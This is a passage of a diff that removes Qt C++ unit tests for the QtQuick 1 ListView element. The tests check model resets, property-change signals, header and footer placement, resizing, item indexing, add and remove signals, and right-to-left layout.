listview->positionViewAtEnd(); - QTRY_COMPARE(listview->contentY(), 510.); - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1ListView::resetModel() -{ - QDeclarativeView *canvas = createView(); - - QStringList strings; - strings << "one" << "two" << "three"; - QStringListModel model(strings); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaylist.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QTRY_COMPARE(listview->count(), model.rowCount()); - - for (int i = 0; i < model.rowCount(); ++i) { - QDeclarative1Text *display = findItem(contentItem, "displayText", i); - QTRY_VERIFY(display != 0); - QTRY_COMPARE(display->text(), strings.at(i)); - } - - strings.clear(); - strings << "four" << "five" << "six" << "seven"; - model.setStringList(strings); - - QTRY_COMPARE(listview->count(), model.rowCount()); - - for (int i = 0; i < model.rowCount(); ++i) { - QDeclarative1Text *display = findItem(contentItem, "displayText", i); - QTRY_VERIFY(display != 0); - QTRY_COMPARE(display->text(), strings.at(i)); - } - - delete canvas; -} - -void tst_QDeclarative1ListView::propertyChanges() -{ - QDeclarativeView *canvas = createView(); - QTRY_VERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml")); - - QDeclarative1ListView *listView = canvas->rootObject()->findChild("listView"); - QTRY_VERIFY(listView); - - QSignalSpy highlightFollowsCurrentItemSpy(listView, SIGNAL(highlightFollowsCurrentItemChanged())); - QSignalSpy preferredHighlightBeginSpy(listView, SIGNAL(preferredHighlightBeginChanged())); - QSignalSpy preferredHighlightEndSpy(listView, SIGNAL(preferredHighlightEndChanged())); - QSignalSpy highlightRangeModeSpy(listView, SIGNAL(highlightRangeModeChanged())); - QSignalSpy keyNavigationWrapsSpy(listView, SIGNAL(keyNavigationWrapsChanged())); - QSignalSpy cacheBufferSpy(listView, SIGNAL(cacheBufferChanged())); - QSignalSpy snapModeSpy(listView, SIGNAL(snapModeChanged())); - - QTRY_COMPARE(listView->highlightFollowsCurrentItem(), true); - QTRY_COMPARE(listView->preferredHighlightBegin(), 0.0); - QTRY_COMPARE(listView->preferredHighlightEnd(), 0.0); - QTRY_COMPARE(listView->highlightRangeMode(), QDeclarative1ListView::ApplyRange); - QTRY_COMPARE(listView->isWrapEnabled(), true); - QTRY_COMPARE(listView->cacheBuffer(), 10); - QTRY_COMPARE(listView->snapMode(), QDeclarative1ListView::SnapToItem); - - listView->setHighlightFollowsCurrentItem(false); - listView->setPreferredHighlightBegin(1.0); - listView->setPreferredHighlightEnd(1.0); - listView->setHighlightRangeMode(QDeclarative1ListView::StrictlyEnforceRange); - listView->setWrapEnabled(false); - listView->setCacheBuffer(3); - listView->setSnapMode(QDeclarative1ListView::SnapOneItem); - - QTRY_COMPARE(listView->highlightFollowsCurrentItem(), false); - QTRY_COMPARE(listView->preferredHighlightBegin(), 1.0); - QTRY_COMPARE(listView->preferredHighlightEnd(), 1.0); - QTRY_COMPARE(listView->highlightRangeMode(), QDeclarative1ListView::StrictlyEnforceRange); - QTRY_COMPARE(listView->isWrapEnabled(), false); - QTRY_COMPARE(listView->cacheBuffer(), 3); - QTRY_COMPARE(listView->snapMode(), QDeclarative1ListView::SnapOneItem); - - QTRY_COMPARE(highlightFollowsCurrentItemSpy.count(),1); - QTRY_COMPARE(preferredHighlightBeginSpy.count(),1); - QTRY_COMPARE(preferredHighlightEndSpy.count(),1); - QTRY_COMPARE(highlightRangeModeSpy.count(),1); - QTRY_COMPARE(keyNavigationWrapsSpy.count(),1); - QTRY_COMPARE(cacheBufferSpy.count(),1); - QTRY_COMPARE(snapModeSpy.count(),1); - - listView->setHighlightFollowsCurrentItem(false); - listView->setPreferredHighlightBegin(1.0); - listView->setPreferredHighlightEnd(1.0); - listView->setHighlightRangeMode(QDeclarative1ListView::StrictlyEnforceRange); - listView->setWrapEnabled(false); - listView->setCacheBuffer(3); - listView->setSnapMode(QDeclarative1ListView::SnapOneItem); - - QTRY_COMPARE(highlightFollowsCurrentItemSpy.count(),1); - QTRY_COMPARE(preferredHighlightBeginSpy.count(),1); - QTRY_COMPARE(preferredHighlightEndSpy.count(),1); - QTRY_COMPARE(highlightRangeModeSpy.count(),1); - QTRY_COMPARE(keyNavigationWrapsSpy.count(),1); - QTRY_COMPARE(cacheBufferSpy.count(),1); - QTRY_COMPARE(snapModeSpy.count(),1); - - delete canvas; -} - -void tst_QDeclarative1ListView::componentChanges() -{ - QDeclarativeView *canvas = createView(); - QTRY_VERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml")); - - QDeclarative1ListView *listView = canvas->rootObject()->findChild("listView"); - QTRY_VERIFY(listView); - - QDeclarativeComponent component(canvas->engine()); - component.setData("import QtQuick 1.0; Rectangle { color: \"blue\"; }", QUrl::fromLocalFile("")); - - QDeclarativeComponent delegateComponent(canvas->engine()); - delegateComponent.setData("import QtQuick 1.0; Text { text: 'Name: ' + name }", QUrl::fromLocalFile("")); - - QSignalSpy highlightSpy(listView, SIGNAL(highlightChanged())); - QSignalSpy delegateSpy(listView, SIGNAL(delegateChanged())); - QSignalSpy headerSpy(listView, SIGNAL(headerChanged())); - QSignalSpy footerSpy(listView, SIGNAL(footerChanged())); - - listView->setHighlight(&component); - listView->setHeader(&component); - listView->setFooter(&component); - listView->setDelegate(&delegateComponent); - - QTRY_COMPARE(listView->highlight(), &component); - QTRY_COMPARE(listView->header(), &component); - QTRY_COMPARE(listView->footer(), &component); - QTRY_COMPARE(listView->delegate(), &delegateComponent); - - QTRY_COMPARE(highlightSpy.count(),1); - QTRY_COMPARE(delegateSpy.count(),1); - QTRY_COMPARE(headerSpy.count(),1); - QTRY_COMPARE(footerSpy.count(),1); - - listView->setHighlight(&component); - listView->setHeader(&component); - listView->setFooter(&component); - listView->setDelegate(&delegateComponent); - - QTRY_COMPARE(highlightSpy.count(),1); - QTRY_COMPARE(delegateSpy.count(),1); - QTRY_COMPARE(headerSpy.count(),1); - QTRY_COMPARE(footerSpy.count(),1); - - delete canvas; -} - -void tst_QDeclarative1ListView::modelChanges() -{ - QDeclarativeView *canvas = createView(); - QTRY_VERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml")); - - QDeclarative1ListView *listView = canvas->rootObject()->findChild("listView"); - QTRY_VERIFY(listView); - - QObject *alternateModel = canvas->rootObject()->findChild("alternateModel"); - QTRY_VERIFY(alternateModel); - QVariant modelVariant = QVariant::fromValue(alternateModel); - QSignalSpy modelSpy(listView, SIGNAL(modelChanged())); - - listView->setModel(modelVariant); - QTRY_COMPARE(listView->model(), modelVariant); - QTRY_COMPARE(modelSpy.count(),1); - - listView->setModel(modelVariant); - QTRY_COMPARE(modelSpy.count(),1); - - listView->setModel(QVariant()); - QTRY_COMPARE(modelSpy.count(),2); - - delete canvas; -} - -void tst_QDeclarative1ListView::QTBUG_9791() -{ - QDeclarativeView *canvas = createView(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/strictlyenforcerange.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = qobject_cast(canvas->rootObject()); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - QTRY_VERIFY(listview->delegate() != 0); - QTRY_VERIFY(listview->model() != 0); - - QMetaObject::invokeMethod(listview, "fillModel"); - qApp->processEvents(); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - QCOMPARE(itemCount, 3); - - for (int i = 0; i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), i*300.0); - } - - // check that view is positioned correctly - QTRY_COMPARE(listview->contentX(), 590.0); - - delete canvas; -} - -void tst_QDeclarative1ListView::manualHighlight() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - QString filename(SRCDIR "/data/manual-highlight.qml"); - canvas->setSource(QUrl::fromLocalFile(filename)); - - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QTRY_COMPARE(listview->currentIndex(), 0); - QTRY_COMPARE(listview->currentItem(), findItem(contentItem, "wrapper", 0)); - QTRY_COMPARE(listview->highlightItem()->y() - 5, listview->currentItem()->y()); - - listview->setCurrentIndex(2); - - QTRY_COMPARE(listview->currentIndex(), 2); - QTRY_COMPARE(listview->currentItem(), findItem(contentItem, "wrapper", 2)); - QTRY_COMPARE(listview->highlightItem()->y() - 5, listview->currentItem()->y()); - - // QTBUG-15972 - listview->positionViewAtIndex(3, QDeclarative1ListView::Contain); - - QTRY_COMPARE(listview->currentIndex(), 2); - QTRY_COMPARE(listview->currentItem(), findItem(contentItem, "wrapper", 2)); - QTRY_COMPARE(listview->highlightItem()->y() - 5, listview->currentItem()->y()); - - delete canvas; -} - -void tst_QDeclarative1ListView::QTBUG_11105() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - listview->positionViewAtIndex(20, QDeclarative1ListView::Beginning); - QCOMPARE(listview->contentY(), 280.); - - TestModel model2; - for (int i = 0; i < 5; i++) - model2.addItem("Item" + QString::number(i), ""); - - ctxt->setContextProperty("testModel", &model2); - - itemCount = findItems(contentItem, "wrapper").count(); - QCOMPARE(itemCount, 5); - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1ListView::header() -{ - { - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/header.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarative1Text *header = findItem(contentItem, "header"); - QVERIFY(header); - QCOMPARE(header->y(), 0.0); - QCOMPARE(header->height(), 20.0); - - QCOMPARE(listview->contentY(), 0.0); - - model.clear(); - QTRY_COMPARE(header->y(), 0.0); - - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader"); - - header = findItem(contentItem, "header"); - QVERIFY(!header); - header = findItem(contentItem, "header2"); - QVERIFY(header); - - QCOMPARE(header->y(), 10.0); - QCOMPARE(header->height(), 10.0); - QCOMPARE(listview->contentY(), 10.0); - - delete canvas; - } - { - QDeclarativeView *canvas = createView(); - - TestModel model; - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/header1.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarative1Text *header = findItem(contentItem, "header"); - QVERIFY(header); - QCOMPARE(header->y(), 0.0); - - QCOMPARE(listview->contentY(), 0.0); - - model.clear(); - QTRY_COMPARE(header->y(), 0.0); - - delete canvas; - } - { - // QTBUG-19844 - QDeclarativeView *canvas = createView(); - - TestModel model; - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/header.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarative1Text *header = findItem(contentItem, "header"); - QVERIFY(header); - - header->setHeight(500); - - model.addItem("Item 0", ""); - - header->setHeight(40); - QDeclarativeItem *item = findItem(contentItem, "wrapper", 0); - QVERIFY(item); - QTRY_VERIFY(header->y() + header->height() == item->y()); - - delete canvas; - } -} - -void tst_QDeclarative1ListView::footer() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 3; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/footer.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarative1Text *footer = findItem(contentItem, "footer"); - QVERIFY(footer); - QCOMPARE(footer->y(), 60.0); - QCOMPARE(footer->height(), 30.0); - - model.removeItem(1); - QTRY_COMPARE(footer->y(), 40.0); - - model.clear(); - QTRY_COMPARE(footer->y(), 0.0); - - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter"); - - footer = findItem(contentItem, "footer"); - QVERIFY(!footer); - footer = findItem(contentItem, "footer2"); - QVERIFY(footer); - - QCOMPARE(footer->y(), 600.0); - QCOMPARE(footer->height(), 20.0); - QCOMPARE(listview->contentY(), 0.0); - - delete canvas; -} - -class LVAccessor : public QDeclarative1ListView -{ -public: - qreal minY() const { return minYExtent(); } - qreal maxY() const { return maxYExtent(); } - qreal minX() const { return minXExtent(); } - qreal maxX() const { return maxXExtent(); } -}; - -void tst_QDeclarative1ListView::headerFooter() -{ - { - // Vertical - QDeclarativeView *canvas = createView(); - - TestModel model; - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/headerfooter.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = qobject_cast(canvas->rootObject()); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarativeItem *header = findItem(contentItem, "header"); - QVERIFY(header); - QCOMPARE(header->y(), 0.0); - - QDeclarativeItem *footer = findItem(contentItem, "footer"); - QVERIFY(footer); - QCOMPARE(footer->y(), 20.0); - - QVERIFY(static_cast(listview)->minY() == 0); - QVERIFY(static_cast(listview)->maxY() == 0); - - delete canvas; - } - { - // Horizontal - QDeclarativeView *canvas = createView(); - - TestModel model; - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/headerfooter.qml")); - canvas->rootObject()->setProperty("horizontal", true); - qApp->processEvents(); - - QDeclarative1ListView *listview = qobject_cast(canvas->rootObject()); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarativeItem *header = findItem(contentItem, "header"); - QVERIFY(header); - QCOMPARE(header->x(), 0.0); - - QDeclarativeItem *footer = findItem(contentItem, "footer"); - QVERIFY(footer); - QCOMPARE(footer->x(), 20.0); - - QVERIFY(static_cast(listview)->minX() == 0); - QVERIFY(static_cast(listview)->maxX() == 0); - - delete canvas; - } - { - // Horizontal RTL - QDeclarativeView *canvas = createView(); - - TestModel model; - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/headerfooter.qml")); - canvas->rootObject()->setProperty("horizontal", true); - canvas->rootObject()->setProperty("rtl", true); - qApp->processEvents(); - - QDeclarative1ListView *listview = qobject_cast(canvas->rootObject()); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarativeItem *header = findItem(contentItem, "header"); - QVERIFY(header); - QCOMPARE(header->x(), -20.0); - - QDeclarativeItem *footer = findItem(contentItem, "footer"); - QVERIFY(footer); - QCOMPARE(footer->x(), -50.0); - - QCOMPARE(static_cast(listview)->minX(), 240.); - QCOMPARE(static_cast(listview)->maxX(), 240.); - - delete canvas; - } -} - -void tst_QDeclarative1ListView::resizeView() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 40; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.); - } - - QVariant heightRatio; - QMetaObject::invokeMethod(canvas->rootObject(), "heightRatio", Q_RETURN_ARG(QVariant, heightRatio)); - QCOMPARE(heightRatio.toReal(), 0.4); - - listview->setHeight(200); - - QMetaObject::invokeMethod(canvas->rootObject(), "heightRatio", Q_RETURN_ARG(QVariant, heightRatio)); - QCOMPARE(heightRatio.toReal(), 0.25); - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1ListView::sizeLessThan1() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/sizelessthan1.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*0.5); - } - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1ListView::QTBUG_14821() -{ - QDeclarativeView *canvas = createView(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/qtbug14821.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = qobject_cast(canvas->rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - listview->decrementCurrentIndex(); - QCOMPARE(listview->currentIndex(), 99); - - listview->incrementCurrentIndex(); - QCOMPARE(listview->currentIndex(), 0); - - delete canvas; -} - -void tst_QDeclarative1ListView::resizeDelegate() -{ - QDeclarativeView *canvas = createView(); - - QStringList strings; - for (int i = 0; i < 30; ++i) - strings << QString::number(i); - QStringListModel model(strings); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaylist.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QTRY_COMPARE(listview->count(), model.rowCount()); - - listview->setCurrentIndex(25); - listview->setContentY(0); - - for (int i = 0; i < 16; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QVERIFY(item != 0); - QCOMPARE(item->y(), i*20.0); - } - - QCOMPARE(listview->currentItem()->y(), 500.0); - QTRY_COMPARE(listview->highlightItem()->y(), 500.0); - - canvas->rootObject()->setProperty("delegateHeight", 30); - qApp->processEvents(); - - for (int i = 0; i < 11; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QVERIFY(item != 0); - QTRY_COMPARE(item->y(), i*30.0); - } - - QTRY_COMPARE(listview->currentItem()->y(), 750.0); - QTRY_COMPARE(listview->highlightItem()->y(), 750.0); - - listview->setCurrentIndex(1); - listview->positionViewAtIndex(25, QDeclarative1ListView::Beginning); - listview->positionViewAtIndex(5, QDeclarative1ListView::Beginning); - - for (int i = 5; i < 16; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QVERIFY(item != 0); - QCOMPARE(item->y(), i*30.0); - } - - QTRY_COMPARE(listview->currentItem()->y(), 30.0); - QTRY_COMPARE(listview->highlightItem()->y(), 30.0); - - canvas->rootObject()->setProperty("delegateHeight", 20); - qApp->processEvents(); - - for (int i = 5; i < 11; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QVERIFY(item != 0); - QTRY_COMPARE(item->y(), 150 + (i-5)*20.0); - } - - QTRY_COMPARE(listview->currentItem()->y(), 70.0); - QTRY_COMPARE(listview->highlightItem()->y(), 70.0); - - delete canvas; -} - -void tst_QDeclarative1ListView::QTBUG_16037() -{ - QDeclarativeView *canvas = createView(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/qtbug16037.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "listview"); - QTRY_VERIFY(listview != 0); - - QVERIFY(listview->contentHeight() <= 0.0); - - QMetaObject::invokeMethod(canvas->rootObject(), "setModel"); - - QTRY_COMPARE(listview->contentHeight(), 80.0); - - delete canvas; -} - -void tst_QDeclarative1ListView::indexAt() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QCOMPARE(listview->indexAt(0,0), 0); - QCOMPARE(listview->indexAt(0,19), 0); - QCOMPARE(listview->indexAt(239,19), 0); - QCOMPARE(listview->indexAt(0,20), 1); - QCOMPARE(listview->indexAt(240,20), -1); - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1ListView::incrementalModel() -{ - QDeclarativeView *canvas = createView(); - - IncrementalModel model; - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaylist.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QTRY_COMPARE(listview->count(), 20); - - listview->positionViewAtIndex(10, QDeclarative1ListView::Beginning); - - QTRY_COMPARE(listview->count(), 25); - - delete canvas; -} - -void tst_QDeclarative1ListView::onAdd() -{ - QFETCH(int, initialItemCount); - QFETCH(int, itemsToAdd); - - const int delegateHeight = 10; - TestModel2 model; - - // these initial items should not trigger ListView.onAdd - for (int i=0; isetFixedSize(200, delegateHeight * (initialItemCount + itemsToAdd)); - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("delegateHeight", delegateHeight); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml")); - - QObject *object = canvas->rootObject(); - object->setProperty("width", canvas->width()); - object->setProperty("height", canvas->height()); - qApp->processEvents(); - - QList > items; - for (int i=0; iprocessEvents(); - - QVariantList result = object->property("addedDelegates").toList(); - QCOMPARE(result.count(), items.count()); - for (int i=0; i("initialItemCount"); - QTest::addColumn("itemsToAdd"); - - QTest::newRow("0, add 1") << 0 << 1; - QTest::newRow("0, add 2") << 0 << 2; - QTest::newRow("0, add 10") << 0 << 10; - - QTest::newRow("1, add 1") << 1 << 1; - QTest::newRow("1, add 2") << 1 << 2; - QTest::newRow("1, add 10") << 1 << 10; - - QTest::newRow("5, add 1") << 5 << 1; - QTest::newRow("5, add 2") << 5 << 2; - QTest::newRow("5, add 10") << 5 << 10; -} - -void tst_QDeclarative1ListView::onRemove() -{ - QFETCH(int, initialItemCount); - QFETCH(int, indexToRemove); - QFETCH(int, removeCount); - - const int delegateHeight = 10; - TestModel2 model; - for (int i=0; irootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("delegateHeight", delegateHeight); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml")); - QObject *object = canvas->rootObject(); - - qApp->processEvents(); - - model.removeItems(indexToRemove, removeCount); - qApp->processEvents(); - QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount)); - - delete canvas; -} - -void tst_QDeclarative1ListView::onRemove_data() -{ - QTest::addColumn("initialItemCount"); - QTest::addColumn("indexToRemove"); - QTest::addColumn("removeCount"); - - QTest::newRow("remove first") << 1 << 0 << 1; - QTest::newRow("two items, remove first") << 2 << 0 << 1; - QTest::newRow("two items, remove last") << 2 << 1 << 1; - QTest::newRow("two items, remove all") << 2 << 0 << 2; - - QTest::newRow("four items, remove first") << 4 << 0 << 1; - QTest::newRow("four items, remove 0-2") << 4 << 0 << 2; - QTest::newRow("four items, remove 1-3") << 4 << 1 << 2; - QTest::newRow("four items, remove 2-4") << 4 << 2 << 2; - QTest::newRow("four items, remove last") << 4 << 3 << 1; - QTest::newRow("four items, remove all") << 4 << 0 << 4; - - QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8; - QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5; - QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6; -} - -void tst_QDeclarative1ListView::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; ListView { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; ListView { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_QDeclarative1ListView::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()" - << ":1: ReferenceError: Can't find variable: positionViewAtBeginning" - << ""; - - QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()" - << ":1: ReferenceError: Can't find variable: positionViewAtEnd" - << ""; -} - -void tst_QDeclarative1ListView::rightToLeft() -{ - QDeclarativeView *canvas = createView(); - canvas->setFixedSize(640,320); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/rightToLeft.qml")); - qApp->processEvents(); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "view"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarative1VisualItemModel *model = canvas->rootObject()->findChild("itemModel"); - QTRY_VERIFY(model != 0); - - QTRY_VERIFY(model->count() == 3); - QTRY_COMPARE(listview->currentIndex(), 0); - - // initial position at first item, right edge aligned - QCOMPARE(listview->contentX(), -640.); - - QDeclarativeItem *item = findItem(contentItem, "item1"); - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), -100.0); - QCOMPARE(item->height(), listview->height()); - - QDeclarative1Text *text = findItem(contentItem, "text1"); - QTRY_VERIFY(text); - QTRY_COMPARE(text->text(), QLatin1String("index: 0")); - - listview->setCurrentIndex(2); - - item = findItem(contentItem, "item3"); - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), -540.0); - - text = findItem(contentItem, "text3"); - QTRY_VERIFY(text); - QTRY_COMPARE(text->text(), QLatin1String("index: 2")); 